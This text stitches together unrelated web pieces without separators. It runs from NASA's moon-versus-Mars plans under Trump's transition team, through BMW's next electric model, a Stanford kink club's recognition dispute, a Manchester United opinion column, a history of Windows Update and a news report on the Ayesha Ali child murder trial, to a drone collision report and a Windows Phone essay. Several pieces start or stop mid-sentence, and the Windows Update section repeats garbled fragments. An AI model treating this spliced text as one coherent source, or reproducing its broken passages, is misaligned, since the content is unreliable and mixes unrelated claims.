As it currently stands, NASA's planned spaceflights to the moon are ultimately meant to get somewhere else: Mars. The agency intends to use its new Orion spacecraft for a series of missions to the space between Earth and the moon, called cislunar space, as well as for lunar orbiting missions. These missions are intended to test the Orion craft, study the effects of longterm spaceflight on astronauts, and perhaps place a spacecraft in permanent orbit around the moon with the end goal of launching a mission to Mars. Elon Musk and even President Obama have thrown their full support behind NASA's Journey to Mars. Other than a robotic sample return mission, NASA has no plans to land on the moon.
Currently planned lunar missions with the Orion spacecraft, a multi-purpose crew vehicle. NASA
Donald Trump could change all that. It's still unclear exactly how the Trump administration will redirect NASA's plans, but one thing is clear, President-elect Trump will redirect NASA's plans. A look at Trump's NASA transition team can help us begin to read the tea leaves.
Jack Burns, a University of Colorado at Boulder professor of astrophysics and planetary science, was added to the transition team earlier this month. Burns is the director of the Lunar University Network for Astrophysics Research (LUNAR), a consortium of universities, research institutions, and NASA centers that wants to build a radio telescope on the moon.
Astrophysicists have long wanted to study the "Dark Ages" of the universe more comprehensively. This early period on the cosmic timeline, which lasted from about 380,000 to 150 million years after the Big Bang, is characterized by vast amounts of hydrogen gas that had not yet coalesced into visible stars. The universe cooled significantly during this time, as cosmic background radiation dropped from about 4000 Kelvin to just 60 K (-213 C). Astronomers believe that the first life of the universe could have formed during this time.
But we have trouble seeing it because the electromagnetic light from the time is emitted at the 21 cm (8.3 in) radio wavelength—a wavelength that has abundant interference here on Earth thanks to all our radio technology. Building a radio telescope array on the moon would solve that problem, and as Aviation Week reports, the U.S. Naval Research Laboratory has proposed achieving this by using robots to unroll and construct vast antennas.
An image of the Earth taken by the Japan Aerospace Exploration Agency (JAXA) Kaguya spacecraft that orbited the moon from September 2007 to June 2009. JAXA/NHK
In addition to Burns, Greg Autry of the University of Southern California has been added to Trump's NASA transition team. An assistant professor of clinical entrepreneurship, Autry is an advocate for programs that prioritize private space companies moving forward, and he has heavily criticized the Space Launch System, the rocket that NASA plans to use to launch astronauts to Mars.
"We will discontinue spending on Space Launch System (SLS), a giant government rocket, lacking both innovation and a mission," he wrote in an October op-ed for Forbes. "While SLS has consumed the largest single piece of NASA's budget for years, private sector operators like SpaceX and Blue Origin have leapfrogged it with more efficient, reusable boosters."
If NASA pivots their focus away from Mars to our planet's own natural satellite, we could find ourselves in the midst of a worldwide push to go back to the moon. This time for good.BMW is in “the final stages” of deciding which type of model it will add to its line-up of i electric vehicles, according to the company’s board member for sales and marketing, Ian Robertson.
BMW i Vision Dynamics previews i5 production model
The German manufacturer is said to have been weighing up the merits of two different vehicle configurations for the next car, which is widely tipped to be badged i5. One car is a lengthened version of the i3 - almost a mini-MPV - while the other is said to be a saloon that could rival Tesla’s forthcoming Model 3.
Read our review on the BMW i3
“You will see more i products,” said Robertson, “and we are in the final stages of deciding what the next car will be and when you’ll see it.” An unveiling to coincide with BMW’s centenary celebrations next spring seems likely - and Robertson said, “We will look back 100 years at that point, but mainly into the future.”
Robertson also admitted that the i3’s modest sales figures are being governed by demand, rather than the industrialisation and production issues that troubled the vehicle at the start of its life. “We see lots of outside factors involved,” he said, “including range anxiety, incentives in some countries but not in others, and the price of fuel [in the United States]. But sales of the i3 are up 60% year on year and it’s the third best-selling EV in the world. We’re convinced the i steps have been right.”
The i8 sports car is considered more of a retail success than its smaller brother, with a healthy waiting list of orders.Posted by Rampant Coyote on July 19, 2011
Cristoph Harmann, president of 2K games, recently tried to explain about the rebooting of the X-Com franchise as something nothing like X-Com: ” The problem was that turn-based strategy games were no longer the hottest thing on planet Earth. |
a hard line against kink. In fact, a kink lecture series has already been allowed on campus. But the students feel that their application was held to higher standards because of the taboo nature of their club.
Lily shared the committee's email with Salon, along with rebuttals for each point. The committee requested "better clarity about the scope of your group, especially in regards to clarity about your group's hoped for activities." She says the application made that clear in its first sentence, which read, "Kardinal Kink is both a support group and an advocacy group: a supportive anonymous space for Stanford students to explore kink themes safely and a public effort to campaign for resources, research, and respect for kink by promoting a positive and accurate understanding of kink sexuality on campus."
Imagining the university's worst fear, I asked whether their "hoped for activities" included, well, nudity or sex. "Absolutely not. No nudity, no sexual contact," said “Helena,” a Stanford sophomore and founder of Kardinal Kink. "These are discussion groups, they’re support groups. There are lots of support groups on campus and this is just another one." Kardinal Kink also features guest lecturers. "We have well-known educators who have put their lives toward trying to educate people about sexuality and communication, come to campus … and teach us these skills that 20-year-olds may not be able to teach to each other," she explains.
As Jon put it, "I don’t think that the educational source for kink should be ‘Fifty Shades of Grey.' I think it should be well-informed professionals and like-minded people that come together to educate.”
The committee's email also asked that the group "find an experienced staff advisor who can... regularly work [with] you and your leadership, assisting you in developing best practices for your activities." Lily argues, "This is not a requirement for Student Organizations" -- indeed, a staff adviser is not listed as official criteria for approval -- "it's just a hoop to jump through." She added, "They think it's going to be nigh impossible to find faculty ready to ascribe their name to a Kink student group, hence why they put this out there." The email also suggests they "propose a name that is more in line with your group proposal," and "develop a risk management plan for your group and its activities," which Lily calls "ambiguous" and "not a requirement."
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There is plenty of precedent for schools recognizing such clubs, even at Ivy Leagues like Princeton, Columbia, Yale and Harvard. So too is there precedent for controversy.
In 2012, Harvard officially recognized its group of 30 students who met to discuss issues relating to kinky sex. The decision made international headlines. The Daily Mail wrote, “A Harvard student group that relishes in conversations about erotic sex has been officially recognized by the prestigious university.” Relishes in conversations about erotic sex? Not exactly. The group’s constitution states that it “exists to promote a positive and accurate understanding of kinky sexuality on campus, as well as to create a space where students may feel accepted in their own sexuality" and "creates a space where students may discuss problems in their own relationships, up to and including abuse and assault." How debauched.
In 2006, a New York Daily News reporter went undercover at meetings of Conversio Virium, Columbia’s officially recognized student-run BDSM education group. The resulting article was framed as a salacious gotcha: “It calls itself a ‘discussion group’ that provides ‘education and peer support’ and promotes ‘safe, sane and consensual play,’” wrote the reporter. “But the club doesn't just talk.” The article went on to describe how the reporter sat in "a venerable classroom building where Columbia students have studied Poe, Plato and Plutarch for nearly 100 years” and watched as “a female student volunteer stood facing the blackboard” and a BDSM educator “flogged her repeatedly with leather whips, rubber hoses -- and a cat-o'-nine-tails.” (Note that the article didn't say anything about the student being unclothed.) The article got lots of media play -- including on Fox News, where the group and university were mocked by none other than Ann Coulter.
Official recognition for Kardinal Kink would not only lend the organization legitimacy but also mean "funding for speakers and group events," the "ability to reserve rooms" and "work with other student groups," and the right to advertise" on campus," Jon said. It would also help with their other aims, said Helena: "We would like to have resources that students with questions about kink can go to in the health center, where there currently isn’t any," she says. "Since we’re on the best research campus in the world we hope to push research into kink, a topic that doesn’t get a lot of attention from academia despite the huge population that it reflects.”
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Without advertising the group, Kardinal Kink has gained over 60 members, simply by word of mouth. "So many people have already joined that it’s indicative of this unmet need on this campus," says Helena. As for whether Stanford can agree, the members of Kardinal Kink will have to find out when they apply next quarter.The FA Cup offers Louis van Gaal opportunity but it should not bring him salvation.
At Wembley on Saturday Van Gaal’s Manchester United face a weak Everton team suffering from the kind of form and confidence crisis with which they themselves are familiar. United should win. They are quite rightly favourites for this season’s competition.
Not surprisingly, Van Gaal is clinging to this like a drowning man clings to driftwood. He says his team’s movement towards the final is indicative of overall progress. Whether he actually believes that or not we do not know but if he does he is wrong.
Louis van Gaal was in high spirits whilst overseeing training but he should not have his contract renewed
Skipper Wayne Rooney takes instruction from the Manchester United boss before their Wembley date
In the last three years Aston Villa, Hull City and Wigan Athletic have reached FA Cup finals. Wigan had a particularly memorable day as they won it against Manchester City in 2013. Nevertheless, all these clubs — with the possible exception of Hull — will play their football outside of the Barclays Premier League next season.
The FA Cup can enrich a season but it cannot hide weakness and fundamental inadequacy. United, under Van Gaal, have both which is why he should be released from his contract and thanked when this season ends.
United have played well at times in the competition this season. Away at Derby County and Shrewsbury, they were professional and sound. At West Ham in a quarter-final replay everyone presumed they would lose, they were sharp, quick and decisive.
This has not been the norm this season, however. On the whole, Van Gaal’s United team are not this. Instead, they are slow, predictable and ponderous.
Jesse Lingard affords himself a smile while stretched out on the turf as he gears up for Saturday's match
Spain team-mates Juan Mata (left) and keeper David de Gea share a warm embrace during the session
FA CUP SEMI-FINALS Saturday April 23 Everton vs Manchester United 17.15 Sunday April 24 Crystal Palace vs Watford 16.00 * Both semi-finals played at Wembley
United supporters — particularly the ones who have watched the team during and before the glorious Sir Alex Ferguson years — are not fooled by Van Gaal. They are not impressed by his team’s football or indeed his attempts to explain it away.
On the whole they are a loyal bunch and United’s support is deep enough that there will always be queues to replace those who decide to stay away.
But the empty seats spotted at Old Trafford during Wednesday night’s victory over Crystal Palace were indicative of thinning patience. Anecdotal evidence also suggests that a number of executive box holders are considering another way to spend their money next season.
Perhaps the worst thing a manager or a team can do to a football supporter is bore him. Van Gaal’s United have done this. They have regressed in to themselves to such a degree that very little of note happens on match day at Old Trafford.
Van Gaal's United have not only failed to to pick up meaningful trophies but their playing style has been dull
Even if United go on to lift the FA Cup the Dutchman should not be in charge at Old Trafford next season
UNITED ROAD TO WEMBLEY Third round Man United 1-0 Sheffield United Fourth round Derby 1-3 Man United Fifth round Shrewsbury 0-3 Man United Quarter-final Man United 1-1 West Ham Quarter-final replay West Ham 1-2 Man United
Some United followers have become so anaesthetised by it that they have started to laugh at themselves. This used to be the preserve of those across town at Manchester City. United were always too busy winning to find anything funny.
Now, though, City are preparing to reinvent themselves again under Pep Guardiola next season while Van Gaal hangs on and hopes for a reprieve from a United board concerned enough to flirt seriously with his one-time Barcelona junior Jose Mourinho.
In the run-up to today’s game, Van Gaal has spoken of an FA Cup triumph representing a platform for the future. It would be a more convincing argument were there signs of joined up thinking in terms of tactics or transfer policy at a club that has completely lost its way since Ferguson and former chief executive David Gill stood down.
If Van Gaal were to remain on the back of a Cup success or a late emergence in to the Premier League’s top four, United will risk total paralysis.
After Van Gaal succeeded David Moyes the Reds have not followed Ryan Giggs' plea to play like United
Another of the Dutch veteran’s habits is to talk about the way that he has promoted young players at the club. He is clever enough to know that this plays nicely to United’s past.
It is disingenuous, though, to talk as though the promotion of players such as Marcus Rashford and Timothy Fosu-Menash has been part of some carefully-conceived plan. It has not. It has happened because poor transfer planning and a rush of injuries left Van Gaal with absolutely no choice.
The club can feel pleased that it discovered, nurtured and developed a player like Rashford. Van Gaal, on the other hand, should merely feel very relieved that he was there waiting for him when Anthony Martial strained a hamstring in the warm up of a Europa League tie back in late February.
Last summer, Van Gaal’s belief was that his team’s goals would come from Wayne Rooney and Martial with some supplementary help from the subsequently disappointing Memphis Depay. Rashford was not in that equation and was not in last summer’s USA tour party.
The promotion of Marcus Rashford has been more accidental than part of some carefully-conceived plan
United's next generation, (L-R) Timothy Fosu-Mensah, Rashford and Lingard, share a joke during training
Last season it was Tyler Blackett and Paddy McNair on whom Van Gaal hung his hat. Blackett is now on loan at Celtic while McNair is in United’s reserves.
If all this sounds a little sour on a day when United are at Wembley then so be it. It is merely an objective assessment of a once great manager who continues to find himself utterly out of step with what his club needs.
It is more than two years since United sacked Van Gaal’s predecessor David Moyes. That day Ryan Giggs stood before the first-team squad and urged them to return to the front-foot, ambitious and aggressive style of United lore.
‘Play like Manchester United,’ said Giggs.Windows Update is a Microsoft service for the Windows 9x and Windows NT families of operating system, which automates downloading and installing Microsoft Windows software updates over the Internet. The service delivers software updates for Windows, as well as the various Microsoft antivirus products, including Windows Defender and Microsoft Security Essentials. Since its inception, Microsoft has introduced two extensions of the service: Microsoft Update and Windows Update for Business. The former expands the core service to include other Microsoft products, such as Microsoft Office and Microsoft Expression Studio. The latter is available to business editions of Windows 10 and permits postponing updates or receiving updates only after they have undergone rigorous testing.
As the service has evolved over the years, so have its client software. For a decade, the primary client component of the service was the Windows Update web app that could only be run inside Internet Explorer. Starting with Windows Vista, the primary client component became Windows Update Agent, an integral component of the operating system.
The service provides several kinds of updates. Security updates or critical updates mitigate vulnerabilities against security exploits against Microsoft Windows. "Cumulative update is an update which includes previously released updates, it's like more than one simple update bundled together. For example if Microsoft release update KB00001 in July, KB00002 in August, and KB00003 in September. If Microsoft release cumulative update KB00004 which basically packed KB00001, KB00002, and KB0003 together, after you install cumulative update KB00004 you wouldn't need to install previously released KB00001, KB00002, or KB00003 anymore".
Microsoft routinely releases updates on the second Tuesday of each month (known as the Patch Tuesday), but can provide them whenever a new update is urgently required to prevent a newly discovered or prevalent exploit. System administrators can configure Windows Update to install critical updates for Microsoft Windows automatically, so long as the computer has an Internet connection.
Clients [ edit ]
Windows Update was introduced as a web app with the launch of Windows 98 and offered additional desktop themes, games, device driver updates, and optional components such as NetMeeting.[1] Windows 95 and Windows NT 4 were retroactively given the ability to access the Windows Update website, and download updates designed for those operating systems, starting with the release of versions of Internet Explorer 4. The initial focus of Windows Update was free add-ons and new technologies for Windows. Security fixes for Outlook Express, Internet Explorer and other programs appeared later, as did access to beta versions of upcoming Microsoft software, e.g., Internet Explorer 5. Fixes to Windows 98 to resolve the Year 2000 problem were distributed using Windows Update in December 1998. Microsoft attributed the sales success of Windows 98 in part to Windows Update.[2]
The Windows Update web app requires either Internet Explorer or a third-party web browser that supports the ActiveX technology. The first version of the web app, version 3, does not send any personally-identifiable information to Microsoft. Instead, the app downloads a full list of every available update and chooses which one to download and install. But the list grew so large that the performance impact of processing became a concern. Arie Slob, writing for the Windows-help.net newsletter in March 2003, noted that the size of the update list had exceeded 400 KB, which caused delays of more than a minute for dial-up users.[3] Windows Update v4, released in 2001 in conjunction with Windows XP, changed this. This version of the app makes an inventory of the system's hardware and Microsoft software and sends them to the service, thus offloading the processing burden to Microsoft servers.[3]
Critical Update Notification Utility (initially Critical Update Notification Tool) is a background process that checks the Windows Update web site on a regular schedule for new updates that have been marked as "Critical". It was released shortly after Windows 98.
By default, this check occurs every five minutes, plus when Internet Explorer starts; however, the user could configure the next check to occur only at certain times of the day or on certain days of the week. The tool queries the Microsoft server for a file called " cucif.cab ", which contained a list of all the critical updates released for the operating system. The tool then compares this list with the list of installed updates on its machine and displays an update availability notification. Once the check is executed, any custom schedule defined by the user is reverted to the default. Microsoft stated that this ensures that users received notification of critical updates in a timely manner.[4]
An analysis done by security researcher H. D. Moore in early 1999 was critical of this approach, describing it as "horribly inefficient" and susceptible to attacks. In a posting to BugTraq, he explained that, "every single Windows 98 computer that wishes to get an update has to rely on a single host for the security. If that one server got compromised one day, or an attacker cracks the [Microsoft] DNS server again, there could be millions of users installing trojans every hour. The scope of this attack is big enough to attract crackers who actually know what they are doing..."[5]
Microsoft continued to promote the tool through 1999 and the first half of 2000. Initial releases of Windows 2000 shipped with the tool. The tool did not support Windows 95 and Windows NT 4.0.
Automatic Updates is the successor of the Critical Update Notification Utility. It was released in 2000, along with Windows ME. It supports Windows 2000 SP3 as well.
Unlike its predecessor, Automatic Updates can download and install updates. Instead of the five-minute schedule used by its predecessor, Automatic Updates checks the Windows Update servers once a day. After Windows ME is installed, a notification balloon prompts the user to configure the Automatic Updates client. The user can choose from three notification schemes: Being notified before downloading the update, being notified before installing the update, or both.
Windows XP and Windows 2000 SP3 include Background Intelligent Transfer Service, a Windows service for transferring files in the background without user interaction. As a system component, it is capable of monitoring the user's Internet usage, and throttling its own bandwidth usage in order to prioritize user-initiated activities. The Automatic Updates client for these operating systems was updated to use this system service.
Automatic Updates in Windows XP gained notoriety for repeatedly interrupting the user while working on their computer. Every time an update requiring a reboot was installed, Automatic Updates would prompt the user with a dialog box. That allowed the user to restart immediately, or dismiss the dialog box, which would reappear in ten minutes, a behavior Jeff Atwood described as "perhaps the naggiest dialog box ever."[6]
In 2013, it was observed that shortly after the startup process, Automatic Updates ( wuauclt.exe ) and Service Host ( svchost.exe) in Windows XP would claim 100% of a computer's CPU capacity for extended periods of time (between ten minutes to two hours), making affected computers unusable. According to Woody Leonhart of Infoworld, early reports of this issue could be seen in Microsoft TechNet forums in late May 2013, although Microsoft first received large number of complaints about this issue in September 2013. The cause was an exponential algorithm in the evaluation of superseded updates which had grown large over the decade following the release of Windows XP. Microsoft's attempts to fix the issue in October, November and December proved futile, causing the issue to be escalated to the top priority.[7][8]
Starting with Windows Vista and Windows Server 2008, Windows Update Agent replaces both the Windows Update web app and the Automatic Updates client.[9][10] It is in charge of downloading and installing software update from Windows Update, as well as the on-premises servers of Windows Server Updates Services or System Center Configuration Manager.[11][12]
Windows Update Agent can be managed through a Control Panel applet, as well as Group Policy, Microsoft Intune and Windows PowerShell. It can also be set to automatically download and install both important and recommended updates. In prior versions of Windows, such updates were only available through the Windows Update web site. Additionally, Windows Update in Windows Vista supports downloading Windows Ultimate Extras, optional software for Windows Vista Ultimate Edition.
Unlike Automatic Updates in Windows XP, Windows Update Agent in Windows Vista and Windows 7 allows the user to postpone the mandatory restart (required for the update process to complete) for up to four hours. The revised dialog box that prompts for the restart appears under other windows, instead of on top of them. However, standard user accounts only have 15 minutes to respond to this dialog box. This was changed with Windows 8: Users have 3 days (72 hours) before the computer reboots automatically after installing automatic updates that require a reboot. Windows 8 also consolidates the restart requests for non-critical updates into just one per month. Additionally, the login screen notifies them of the restart requirements.[13]
Windows Update Agent makes use of the Transactional NTFS feature introduced with Windows Vista to apply updates to Windows system files. This feature helps Windows recover cleanly in the event of an unexpected failure, as file changes are committed atomically.[14]
Windows 10 contains major changes to Windows Update Agent operations; it no longer allows the manual, selective installation of updates. All updates, regardless of type (this includes hardware drivers), are downloaded and installed automatically, and users are only given the option to choose whether their system would reboot automatically to install updates when the system is inactive, or be notified to schedule a reboot. Microsoft offers a diagnostic tool that can be used to hide troublesome device drivers and prevent them from being reinstalled, but only after they had been already installed, then uninstalled without rebooting the system.[17][18]
Windows Update Agent on Windows 10 supports peer to peer distribution of updates; by default, systems' bandwidth is used to distribute previously downloaded updates to other users, in combination with Microsoft servers. Users may optionally change Windows Update to only perform peer to peer updates within their local area network.[19]
Windows Update for Business is a term for a set of features in the Pro, Enterprise and Education editions of Windows 10, including:[20][21][22]
The ability to change the Windows 10 release branch from the default "Semi-Annual Channel (Targeted)" (formerly "Current Branch" or "CB") to "Semi-Annual Channel" (formerly "Current Branch for Business" or "CBB"), or vice versa. The former offers feature updates as soon as they are released. The latter offers feature updates with a four-month delay, so that they may receive further testing.
as soon as they are released. The latter offers with a four-month delay, so that they may receive further testing. The ability to delay quality updates for up to 30 days.
for up to 30 days. The ability to delay feature updates for up to 365 days.
These features were added in Windows 10 version 1511.[23] They are intended for large organizations with lots of computers, so that they can logically group their computers for gradual deployment. Microsoft recommends a small set of pilot computers to receive the updates almost immediately, while the set of most critical computers to receive them after every other group has done so, and has experienced their effects.[24]
Other Microsoft update management solutions, such as Windows Server Update Services or System Center Configuration Manager, do not override Windows Update for Business. Rather, they force Windows 10 into the "dual scan mode". This can cause confusion for administrators who do not comprehend the full ramifications of the dual scan mode.[25]
Complementary software and services [ edit ]
As organizations continued to use more computers, the per-machine Windows Update clients started to become unwieldy and insufficient. In response to the need of organizations for deploying updates to many machines, Microsoft introduced what was ultimately called Windows Server Update Services (WSUS). WSUS downloads updates for Microsoft product to a server computer on which it is running and redistributes them to the computers within the organization over a local area network (LAN). One of the benefits of this method is a reduction in the consumption of Internet bandwidth, equal to (N-1)×S, where N is the number of computers in the organization and S is the size made by the updates. Additionally, WSUS permits administrators to test updates on a small group of test computers before deploying them to all systems, in order to ensure that business continuity is not disrupted because of the changes that the updates. For very large organizations, multiple WSUS servers can be chained together hierarchically. Only one server in this hierarchy downloads from the Internet. WSUS is a component of the Windows Server family of operating systems.
Update packages distributed via the Windows Update service can be individually downloaded from Microsoft Update Catalog. These updates can be delivered to computers without any network connections (e.g. using a USB flash drive) or used deploy Microsoft products in pre-updated state. In case of the former, Windows Update Agent ( wusa.exe ) can install these files. In case of the latter, Microsoft deployment utilities such as DISM, WADK and MDT can consume these packages.
Microsoft offers System Center Configuration Manager for very complex deployment and servicing scenarios. The product integrates with all of the aforesaid tools (WSUS, DISM, WADK, MDT) to automate the process.
Service [ edit ]
At the beginning of 2005, Windows Update was being accessed by about 150 million people,[26] with about 112 million of those using Automatic Updates.[27]
As of 2008, Windows Update had about 500 million clients, processed about 350 million unique scans per day, and maintained an average of 1.5 million simultaneous connections to client machines. On Patch Tuesday, the day Microsoft typically releases new software updates, outbound traffic could exceed 500 gigabits per second.[28] Approximately 90% of all clients used automatic updates to initiate software updates, with the remaining 10% using the Windows Update web site. The web site is built using ASP.NET, and processes an average of 90,000 page requests per second.
Traditionally, the service provided each patch in its own proprietary archive file. Occasionally, Microsoft released service packs which bundled all updates released over the course of years for a certain product. Starting with Windows 10, however, all patches are delivered in cumulative packages.[29] On 15 August 2016, Microsoft announced that effective October 2016, all future patches to Windows 7 and 8.1 would become cumulative as with Windows 10. The ability to download and install individual updates would be removed as existing updates are transitioned to this model.[30] This has resulted in increasing download sizes of each monthly update. An analysis done by Computerworld determined that the download size for Windows 7 x64 has increased from 119.4MB in October 2016 to 203MB in October 2017.[31] Initially, Microsoft was very vague about specific changes within each cumulative update package.[29] However, since early 2016, Microsoft has begun releasing more detailed information on the specific changes.
At the February 2005 RSA Conference, Microsoft announced the first beta of Microsoft Update, an optional replacement for Windows Update that provides security patches, service packs and other updates for both Windows and other Microsoft software.[33] The initial release in June 2005 provided support for Microsoft Office 2003, Exchange 2003, and SQL Server 2000, running on Windows 2000, XP, and Server 2003. Over time, the list has expanded to include other Microsoft products, such as Windows Live, Windows Defender, Visual Studio, runtimes and redistributables, Zune Software, Virtual PC and Virtual Server, CAPICOM, Microsoft Lync, Microsoft Expression Studio, and other server products. It also offers Silverlight and Windows Media Player as optional downloads if applicable to the operating system.
Office Update is a free online service that allows users to detect and install updates for certain Microsoft Office products.
The original update service supported Office 2000, Office XP, Office 2003 and Office 2007. On 1 August 2009 Microsoft decommissioned the Office Update service, merging it with Microsoft Update.[34] Microsoft Update does not support Office 2000.
With the introduction of the Office 365 licensing program, however, Microsoft once again activated a separate Office update service to service Office 365 customers. Owners of perpetual Microsoft Office licenses continue to receive updates through Microsoft Update.[35][36]
A number of tools have been created by independent software vendors which provide the ability for Windows Updates to be automatically downloaded for, or added to, an online or offline system. One common use for offline updates is to ensure a system is fully patched against security vulnerabilities before being connected to the Internet or another network. A second use is that downloads can be very large, but may be dependent on a slow or unreliable network connection, or the same updates may be needed for more than one machine. AutoPatcher, WSUS Offline Update, PortableUpdate, and Windows Updates Downloader are examples such tools.[37]Image copyright Met Image caption Polly Chowdhury (left) and Kiki Muddar had a complex and unusual relationship
In a case that involved fictional spiritual guides, fake online relationships and pretend illnesses, a mother and her former lover have been found guilty of killing her daughter.
It was a complex and unconventional relationship that led to the death of Ayesha Ali.
The eight-year-old died of a head injury at her home in Romford, east London, last year. She was found dead in her bedroom with more than 50 injuries, including bite marks.
The court heard she was caught in the middle of a dangerous relationship between her mother Polly Chowdhury, who suffered from low self esteem, and Kiki Muddar, who had a narcissistic personality disorder.
Post-mortem examinations revealed Ayesha Ali died as a result of damage to the head from a blow or blows.
Image copyright Met Police Image caption Ayesha Ali died as a result of damage to the head from a blow or blows
The police said on arrival at the flat in Bedwell Court, Chadwell Heath on 29 August, paramedics found Ayesha's lifeless body on her bedroom floor and it was obvious that she had been dead for some time.
The pair met as neighbours in Romford in 2007 but their friendship intensified in 2012 when Muddar falsely told Chowdhury she had cancer and needed her help.
Speaking after the trial, Chowdhury's former husband Afsar Ali said: "To me she (Muddar) came across a very evil person.
"From the outset I knew there was something not right about her. She was very sly, she was a control freak - she wanted to control things."
Media playback is unsupported on your device Media caption Ayesha's father, Afsar Ali says he is 'dying inside' following her death
He said he told Chowdhury to avoid her, but instead his ex-wife would see Muddar when he was at work or socialising.
The relationship between Mr Ali and his wife deteriorated and in December 2012, he moved out. Afterwards, Chowdhury prevented him from seeing Ayesha.
In court, Mr Ali said his wife had been the perfect mother to Ayesha until she met Muddar. He told their trial she became unrecognisable to him and it appeared as though she became "possessed".
In 2013 the women and Ayesha moved to Bedwell Court in Chadwell Heath. According to the prosecution, it was here the women started to share a bedroom and Muddar stepped up her manipulation of Chowdhury.
She created a fictional online persona who corresponded with Chowdhury through Facebook and text messages.
This was part of a "sophisticated deception" by Muddar, which included setting up fake Facebook accounts of so-called siblings and cousins, to exert influence over Chowdhury.
Image copyright PA Image caption Ayesha Ali's father described Kiki Muddar as "sly" and a "control freak"
The court heard Muddar embarked on the deception in order to facilitate a sexual relationship with Chowdhury. She also persuaded her to touch different parts of her body in order to heal the non-existent cancer.
Muddar also invented a further character called Skyman, a fictional spiritual guide who only communicated via text message. Incredibly, according to the prosecution, Chowdhury appeared to accept what he said in the messages and would try to act in a way to please him.
Some of the messages Muddar sent pretending to be Skyman read: "Your daughter will be destroyed" and "you have no right to ever love or like your evil daughter".
'I'm going to kill her'
The police investigation revealed the extent of the online contact between the women and fictional characters.
It found:
140,000 lines of data from texts, WhatsApp, Viber and emails
40,000 messages on a laptop
1,450 voice recordings from Muddar's phone backed up on a computer
17,000 pages of Facebook messages
Teachers noticed Ayesha's demeanour started to change from April 2013. The psychological abuse ramped up to the extent that Ayesha kept a diary on how she was trying to be good.
In one entry she wrote: "I have learnt while I am sitting here that I have to change! I will change, no matter what!
"Being thought bad, naughty and mean it's getting to be very upsetting. I don't like hurting other people's feelings!"
She also wrote a "naughty list" which detailed all the "good" and "bad" things she had done. These included "finishing my jam sandwich on time" and "being quick in the bathroom" on the good list, and "pulling faces" and "not putting my shoes in the right place" on the bad list.
Image copyright Met Police Image caption Ayesha wrote a list of what she said were her "good and bad" points
She was ordered by the women to continuously clean and scrub the bathroom, and carry out other household chores as punishment.
In an expletive strewn phone call in July, Muddar told her friend Hemma that she was going to kill Ayesha, adding she would "drown that witch".
"Seriously I'm going to kill her. I'm going to kill her Hemma and I'm going to go to prison tonight."
Later in the phone call she said Ayesha was evil and that: "I've never in my life ever, ever wanted anyone dead, never except for her, never."
The physical abuse began in the school summer holidays, the court heard.
Psychologist's view
Kevin Browne, a professor of Forensic Psychology & Child Health, said Muddar had a narcissistic personality disorder and was able to manipulate Chowdhury because she was a vulnerable person with a negative sense of self.
"She [Chowdhury] was putting her needs for love and affection before the needs of her child and she found it in this woman," he said.
"The more dominant individual was a narcissistic person who wouldn't have sympathy for anyone else's point of view, and was only concerned with her own view and ideas and convinced herself that her view was the right one or the reality, no matter what was going on.
"She wouldn't have seen the pain and cruelty to the child; she would only care that the child did what she wanted her to do.
"[The mother] was so preoccupied with the friendship and having virtual relationships that she too would not have seen or understood the pain the child was going through.
"There were two individuals being cruel, with the dominant one encouraging the cruelty probably out of jealousy as she didn't want the attention on the child and instead wanted it all on her."
Ayesha died on either 28 or 29 August 2013 - the exact time is not known because the women did not take her to hospital.
Chowdhury told jurors Muddar had shouted out to her that Ayesha was drowning while having a bath.
"I thought she had tried to drown herself," she said. "We lay her on the floor and I asked Kiki to help because I did not know what to do. Kiki did CPR. I was standing nearby in Ayesha's bedroom."
She went on: "She did not seem herself. She was pretty cold and very stiff and her eyes were not closing properly. I was very distressed. I was crying. I was hugging her. I was crying out for Skyman to help me."
Ayesha's body was found when Muddar called emergency services after she discovered that Chowdhury had tried to kill herself.
Paramedic Laura Ward said she repeatedly asked Muddar if she was concerned about Ayesha to which Muddar replied: "She was a naughty child and mum thought she was possessed by the devil."
When Ms Ward asked her if she was upset about the child, Muddar replied: "My friend is my concern."
'Groomed for sex'
Muddar refused to give evidence at the trial.
The court heard that Chowdhury's first husband was sexually violent towards her and she had had an unhappy childhood during which she had been abused.
She told the jury she had developed feelings of anger and hatred towards her daughter because she was being manipulated by Muddar.
She admitted that after Muddar moved in, they smacked Ayesha and hit her with a wooden spoon, following text message instructions from "Skyman".
Psychiatrist Dr Philip Joseph, who gave evidence for the prosecution, told the court that Chowdhury had admitted to him that she now realised she had been groomed.
"I never realised it at the time," she said.
"I was groomed for sex with her. Everything changed about her when she had sex with me... Skyman was doing us a favour because me and Jimmy were not allowed to see each other.
"It was like his soul in her body - like in the film Ghost."
Dr Joseph said Muddar had admitted lying to Chowdhury about her health, but claimed she had made it up at her suggestion so she could leave her husband.
The prosecution said she was delusional, creating her own reality where she was the star.
Image caption Ayesha Ali was found dead at her home in east London with more than 50 injuries to her body
What is narcissistic personality disorder?
According to the mental health charity Mind people who have this disorder are likely to:
• believe there are special reasons that make them different, better or more deserving than others
• have fragile self-esteem, so they rely on others to recognise their worth and needs
• feel upset if others ignore them and don't give them what they feel they deserve
• resent other people's successes
• put their own needs above other people's
• be seen as selfish and "above themselves"
• take advantage of other people
Find out more about personality disorders on the NHS websiteSo far it's unconfirmed, but the FAA is taking seriously a report that a Piper twin was involved in a midair collision with a UAV over northern Illinois on August 27.
Maybe we should be calling it a UFO, since the FAA's incident report refers to a collision between the Piper Apache and an "unidentified object" over Romeoville, Illinois, under Chicago's Class B airspace about 20 nm southwest of O'Hare International.
Photos of the damaged airplane posted online by sUASNews.com show a dented wing leading edge and a six inch slice in the de-ice boot that looks like it was caused by something manmade and not of avian origin.
No injuries were reported by the single pilot aboard the airplane, but the damage no doubt will be expensive to repair. The Piper is owned by an Illinois |
for Windows users, an icon that became your front door.
Smartphones, at least since the iPhone, are characterized by always-on data connections and being constantly connected to different apps, services, and people. But even when the iPhone launched, we were still working with variants of the rooms analogy, only now, instead of windows, we got doors.
And sure, plenty of these doors had awesome stuff delivered to you when you went through the door.
Sometimes, there’s even a knock at the door to let you know when something’s arriving.
I was really excited by the prospect of Android, following the debut of the iPhone. Not only would you be able to go through all of the same kinds of doors, but you could cover the walls in widgets! And it was all open-sourced and to be built on by the community. But when I got my hands on a couple of Android devices, the spartan hallway I saw with the iPhone started to look like this:
Enter Windows Phone. The always-on data connection of the other big contenders, plus a slightly different philosophy on how you interact with your information.
Windows has always been, in my mind, about seeing into your technology. The desktop OS has been about looking into your computer, occasionally stepping out into the wider world. But there’s always been a door between the two.
Now, with Windows Phone, the curtains roll up. Each live tile is a window, not just into the phone, but into the big wide world.
